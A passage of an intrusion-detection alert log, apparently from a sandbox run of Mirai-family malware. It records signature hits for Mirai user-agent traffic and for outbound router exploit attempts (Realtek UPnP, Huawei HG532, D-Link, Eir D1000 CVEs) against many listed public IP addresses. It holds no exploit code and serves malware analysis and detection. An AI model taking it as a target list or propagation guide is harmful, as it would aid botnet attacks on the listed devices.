SID:	2027121
Source Port:	53588
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.147.77.68

Timestamp:	192.168.2.2380.147.77.6857926802846457 10/23/22-17:56:52.718808
SID:	2846457
Source Port:	57926
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.32.107.35

Timestamp:	192.168.2.2380.32.107.3547024802846380 10/23/22-17:58:39.164334
SID:	2846380
Source Port:	47024
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.51.235.123

Timestamp:	192.168.2.23206.51.235.12354264802846380 10/23/22-17:57:29.458919
SID:	2846380
Source Port:	54264
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.218.59

Timestamp:	192.168.2.2388.221.218.5943938802027121 10/23/22-17:57:38.609285
SID:	2027121
Source Port:	43938
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.160.28.47

Timestamp:	192.168.2.2395.160.28.4750678802027121 10/23/22-17:57:49.805107
SID:	2027121
Source Port:	50678
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.19.134.109

Timestamp:	192.168.2.2388.19.134.10941042802027121 10/23/22-17:58:02.124782
SID:	2027121
Source Port:	41042
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.84.15.118

Timestamp:	192.168.2.23200.84.15.11857298802841623 10/23/22-17:57:38.963880
SID:	2841623
Source Port:	57298
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.137.174.230

Timestamp:	192.168.2.2346.137.174.23059784802846457 10/23/22-17:58:05.463276
SID:	2846457
Source Port:	59784
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.124.15.206

Timestamp:	192.168.2.23112.124.15.20654442802027121 10/23/22-17:57:06.686727
SID:	2027121
Source Port:	54442
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.150.218.45

Timestamp:	192.168.2.23213.150.218.4533260802846380 10/23/22-17:58:33.498606
SID:	2846380
Source Port:	33260
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.245.102.223

Timestamp:	192.168.2.23171.245.102.22355776528692027339 10/23/22-17:57:24.764501
SID:	2027339
Source Port:	55776
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.245.102.223

Timestamp:	192.168.2.23171.245.102.22355778528692027339 10/23/22-17:57:25.068090
SID:	2027339
Source Port:	55778
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.179.158.254

Timestamp:	192.168.2.2395.179.158.25459052802027121 10/23/22-17:57:34.506424
SID:	2027121
Source Port:	59052
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.207.18.180

Timestamp:	192.168.2.2389.207.18.18044326528692027339 10/23/22-17:57:44.623923
SID:	2027339
Source Port:	44326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.176.39.226

Timestamp:	192.168.2.23213.176.39.22639328802846380 10/23/22-17:56:47.130746
SID:	2846380
Source Port:	39328
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.100.176.55

Timestamp:	192.168.2.2395.100.176.5534038802027121 10/23/22-17:57:23.530626
SID:	2027121
Source Port:	34038
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.50.105.23

Timestamp:	192.168.2.23112.50.105.2350420802027121 10/23/22-17:57:34.483562
SID:	2027121
Source Port:	50420
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 123.200.139.115

Timestamp:	192.168.2.23123.200.139.11556904802841623 10/23/22-17:58:14.941149
SID:	2841623
Source Port:	56904
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.179.201.57

Timestamp:	192.168.2.2395.179.201.5743146802027121 10/23/22-17:57:12.977664
SID:	2027121
Source Port:	43146
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 186.211.177.19

Timestamp:	192.168.2.23186.211.177.1947854802841623 10/23/22-17:58:37.852912
SID:	2841623
Source Port:	47854
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.189.103.93

Timestamp:	192.168.2.235.189.103.9338736802846457 10/23/22-17:56:55.153771
SID:	2846457
Source Port:	38736
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.33.211.22

Timestamp:	192.168.2.2384.33.211.2247624802846457 10/23/22-17:57:18.332948
SID:	2846457
Source Port:	47624
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 122.236.227.174

Timestamp:	192.168.2.23122.236.227.17438626528692027339 10/23/22-17:58:14.560497
SID:	2027339
Source Port:	38626
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.149.136.82

Timestamp:	192.168.2.2346.149.136.8253522802846457 10/23/22-17:58:24.203876
SID:	2846457
Source Port:	53522
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.214.43.236

Timestamp:	192.168.2.23181.214.43.23638530802846380 10/23/22-17:58:17.412817
SID:	2846380
Source Port:	38530
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.88.174.141

Timestamp:	192.168.2.23200.88.174.14153992802846380 10/23/22-17:57:30.680768
SID:	2846380
Source Port:	53992
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.111.37.233

Timestamp:	192.168.2.23104.111.37.23347442802841623 10/23/22-17:57:12.707942
SID:	2841623
Source Port:	47442
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.195.13.87

Timestamp:	192.168.2.2345.195.13.8751334372152835222 10/23/22-17:57:51.987216
SID:	2835222
Source Port:	51334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.213.124.214

Timestamp:	192.168.2.23112.213.124.21438934802027121 10/23/22-17:58:25.434539
SID:	2027121
Source Port:	38934
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.123.26.196

Timestamp:	192.168.2.2388.123.26.19642432802027121 10/23/22-17:57:56.401490
SID:	2027121
Source Port:	42432
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.204.125.13

Timestamp:	192.168.2.2385.204.125.1342798802846457 10/23/22-17:57:31.246149
SID:	2846457
Source Port:	42798
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.86.88.56

Timestamp:	192.168.2.2395.86.88.5645308802027121 10/23/22-17:57:36.438934
SID:	2027121
Source Port:	45308
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 84.6.148.34

Timestamp:	192.168.2.2384.6.148.3449252372152835222 10/23/22-17:58:21.931096
SID:	2835222
Source Port:	49252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.249.241.108

Timestamp:	192.168.2.23206.249.241.10854290802846380 10/23/22-17:57:55.604498
SID:	2846380
Source Port:	54290
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.80.170.43

Timestamp:	192.168.2.2388.80.170.4334972802027121 10/23/22-17:56:53.231278
SID:	2027121
Source Port:	34972
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.189.43.113

Timestamp:	192.168.2.23206.189.43.11348598802846380 10/23/22-17:57:40.722817
SID:	2846380
Source Port:	48598
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.61.47.203

Timestamp:	192.168.2.23200.61.47.20360798802846380 10/23/22-17:57:15.792879
SID:	2846380
Source Port:	60798
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.254.172.250

Timestamp:	192.168.2.2380.254.172.25035230802846380 10/23/22-17:57:51.839646
SID:	2846380
Source Port:	35230
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.214.226.170

Timestamp:	192.168.2.2388.214.226.17042140802027121 10/23/22-17:58:09.830555
SID:	2027121
Source Port:	42140
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.30.56.42

Timestamp:	192.168.2.2380.30.56.4234240802846380 10/23/22-17:57:11.436345
SID:	2846380
Source Port:	34240
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.106.184.137

Timestamp:	192.168.2.2386.106.184.13752658802846380 10/23/22-17:57:07.241745
SID:	2846380
Source Port:	52658
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.167.187.229

Timestamp:	192.168.2.23112.167.187.22938242802027121 10/23/22-17:56:58.388006
SID:	2027121
Source Port:	38242
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 181.31.102.227

Timestamp:	192.168.2.23181.31.102.22742032802835221 10/23/22-17:57:28.350931
SID:	2835221
Source Port:	42032
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.133.92.213

Timestamp:	192.168.2.2389.133.92.21345654802846457 10/23/22-17:57:07.102618
SID:	2846457
Source Port:	45654
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.133.216.192

Timestamp:	192.168.2.2380.133.216.19254798802846457 10/23/22-17:57:09.746440
SID:	2846457
Source Port:	54798
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 68.183.20.55

Timestamp:	192.168.2.2368.183.20.5556204802835221 10/23/22-17:57:16.524200
SID:	2835221
Source Port:	56204
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.47.178.140

Timestamp:	192.168.2.2346.47.178.14036312802846457 10/23/22-17:58:23.968200
SID:	2846457
Source Port:	36312
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.17.195.152

Timestamp:	192.168.2.2389.17.195.15235104802846457 10/23/22-17:56:45.537309
SID:	2846457
Source Port:	35104
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 54.186.196.197

Timestamp:	192.168.2.2354.186.196.19739546802835222 10/23/22-17:58:21.330242
SID:	2835222
Source Port:	39546
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.63.236.201

Timestamp:	192.168.2.2384.63.236.20137248802846457 10/23/22-17:58:15.349097
SID:	2846457
Source Port:	37248
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.178.155.208

Timestamp:	192.168.2.2386.178.155.20843434802846380 10/23/22-17:56:52.007644
SID:	2846380
Source Port:	43434
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.189.61.241

Timestamp:	192.168.2.23206.189.61.24160302802846380 10/23/22-17:57:27.985364
SID:	2846380
Source Port:	60302
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.189.255.200

Timestamp:	192.168.2.23206.189.255.20040508802846380 10/23/22-17:57:29.190289
SID:	2846380
Source Port:	40508
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.128.51.57

Timestamp:	192.168.2.23178.128.51.5742052802846380 10/23/22-17:57:49.583215
SID:	2846380
Source Port:	42052
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.242.216.6

Timestamp:	192.168.2.2346.242.216.640752802846457 10/23/22-17:58:15.375651
SID:	2846457
Source Port:	40752
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.100.200.186

Timestamp:	192.168.2.2395.100.200.18636474802027121 10/23/22-17:57:10.331694
SID:	2027121
Source Port:	36474
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.193.128.33

Timestamp:	192.168.2.2323.193.128.3349350802841623 10/23/22-17:56:49.229770
SID:	2841623
Source Port:	49350
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.220.171.253

Timestamp:	192.168.2.23200.220.171.25341570802846380 10/23/22-17:57:10.820527
SID:	2846380
Source Port:	41570
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 54.230.173.56

Timestamp:	192.168.2.2354.230.173.5636476802835222 10/23/22-17:58:09.999286
SID:	2835222
Source Port:	36476
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.214.95.215

Timestamp:	192.168.2.2385.214.95.21554314802846457 10/23/22-17:57:41.195866
SID:	2846457
Source Port:	54314
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.210.90.114

Timestamp:	192.168.2.23178.210.90.11445722802846380 10/23/22-17:57:09.503409
SID:	2846380
Source Port:	45722
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.41.136.62

Timestamp:	192.168.2.2346.41.136.6246606802846457 10/23/22-17:58:15.376062
SID:	2846457
Source Port:	46606
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 70.113.78.68

Timestamp:	192.168.2.2370.113.78.685271875472835222 10/23/22-17:58:32.174734
SID:	2835222
Source Port:	52718
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.42.3.137

Timestamp:	192.168.2.2389.42.3.13753896802846457 10/23/22-17:57:43.768106
SID:	2846457
Source Port:	53896
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.153.163.14

Timestamp:	192.168.2.2382.153.163.1450456802846380 10/23/22-17:57:46.325359
SID:	2846380
Source Port:	50456
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.22.122.184

Timestamp:	192.168.2.23171.22.122.18454146802846457 10/23/22-17:58:05.418255
SID:	2846457
Source Port:	54146
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.250.188

Timestamp:	192.168.2.2395.101.250.18839978802027121 10/23/22-17:58:30.353286
SID:	2027121
Source Port:	39978
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.46.128.23

Timestamp:	192.168.2.2337.46.128.2343696802846457 10/23/22-17:57:07.142795
SID:	2846457
Source Port:	43696
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 54.191.47.175

Timestamp:	192.168.2.2354.191.47.17559730802835221 10/23/22-17:57:16.701947
SID:	2835221
Source Port:	59730
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.99.120.15

Timestamp:	192.168.2.2388.99.120.1539654802027121 10/23/22-17:57:47.238003
SID:	2027121
Source Port:	39654
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.92.217.198

Timestamp:	192.168.2.23164.92.217.19851764802846457 10/23/22-17:57:22.271354
SID:	2846457
Source Port:	51764
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 197.166.232.188

Timestamp:	192.168.2.23197.166.232.18859668802841623 10/23/22-17:57:31.340270
SID:	2841623
Source Port:	59668
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.15.175.234

Timestamp:	192.168.2.2380.15.175.23437408802846380 10/23/22-17:58:33.165130
SID:	2846380
Source Port:	37408
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.63.252.49

Timestamp:	192.168.2.23181.63.252.4955986802846380 10/23/22-17:57:25.717989
SID:	2846380
Source Port:	55986
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.169.123.198

Timestamp:	192.168.2.23122.169.123.19839822802846457 10/23/22-17:58:19.981464
SID:	2846457
Source Port:	39822
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 68.189.6.131

Timestamp:	192.168.2.2368.189.6.13160716802841623 10/23/22-17:57:20.274209
SID:	2841623
Source Port:	60716
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.187.9.175

Timestamp:	192.168.2.2385.187.9.17560492802846457 10/23/22-17:58:37.521293
SID:	2846457
Source Port:	60492
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.154.54.235

Timestamp:	192.168.2.2395.154.54.23552386802027121 10/23/22-17:58:24.024329
SID:	2027121
Source Port:	52386
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.248.200.118

Timestamp:	192.168.2.23178.248.200.11833196802846380 10/23/22-17:57:27.971033
SID:	2846380
Source Port:	33196
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.65.132.14

Timestamp:	192.168.2.2380.65.132.1451578802846457 10/23/22-17:56:52.713648
SID:	2846457
Source Port:	51578
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 79.118.143.157

Timestamp:	192.168.2.2379.118.143.15746958802841623 10/23/22-17:57:07.465546
SID:	2841623
Source Port:	46958
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 115.4.50.109

Timestamp:	192.168.2.23115.4.50.1094105875472023548 10/23/22-17:58:11.553647
SID:	2023548
Source Port:	41058
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.64.163.146

Timestamp:	192.168.2.2395.64.163.14635030802027121 10/23/22-17:58:39.775240
SID:	2027121
Source Port:	35030
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.81.33.176

Timestamp:	192.168.2.2361.81.33.17657902802846457 10/23/22-17:57:50.873042
SID:	2846457
Source Port:	57902
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.157.27.217

Timestamp:	192.168.2.23112.157.27.21756278802027121 10/23/22-17:56:58.625319
SID:	2027121
Source Port:	56278
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.45.134

Timestamp:	192.168.2.2388.221.45.13449558802027121 10/23/22-17:57:54.686419
SID:	2027121
Source Port:	49558
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.246.92.156

Timestamp:	192.168.2.23171.246.92.15653954802846457 10/23/22-17:57:59.896744
SID:	2846457
Source Port:	53954
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.9.170.23

Timestamp:	192.168.2.2337.9.170.2358306802846457 10/23/22-17:58:30.779303
SID:	2846457
Source Port:	58306
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 59.15.77.140

Timestamp:	192.168.2.2359.15.77.14043758802841623 10/23/22-17:57:46.952347
SID:	2841623
Source Port:	43758
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.160.28.47

Timestamp:	192.168.2.2395.160.28.4750608802027121 10/23/22-17:57:49.332978
SID:	2027121
Source Port:	50608
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.78.145.20

Timestamp:	192.168.2.23112.78.145.2044074802027121 10/23/22-17:57:52.074257
SID:	2027121
Source Port:	44074
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.18.254.242

Timestamp:	192.168.2.23178.18.254.24256138802846380 10/23/22-17:58:13.484636
SID:	2846380
Source Port:	56138
Destination Port:	80
Protocol:	TCP
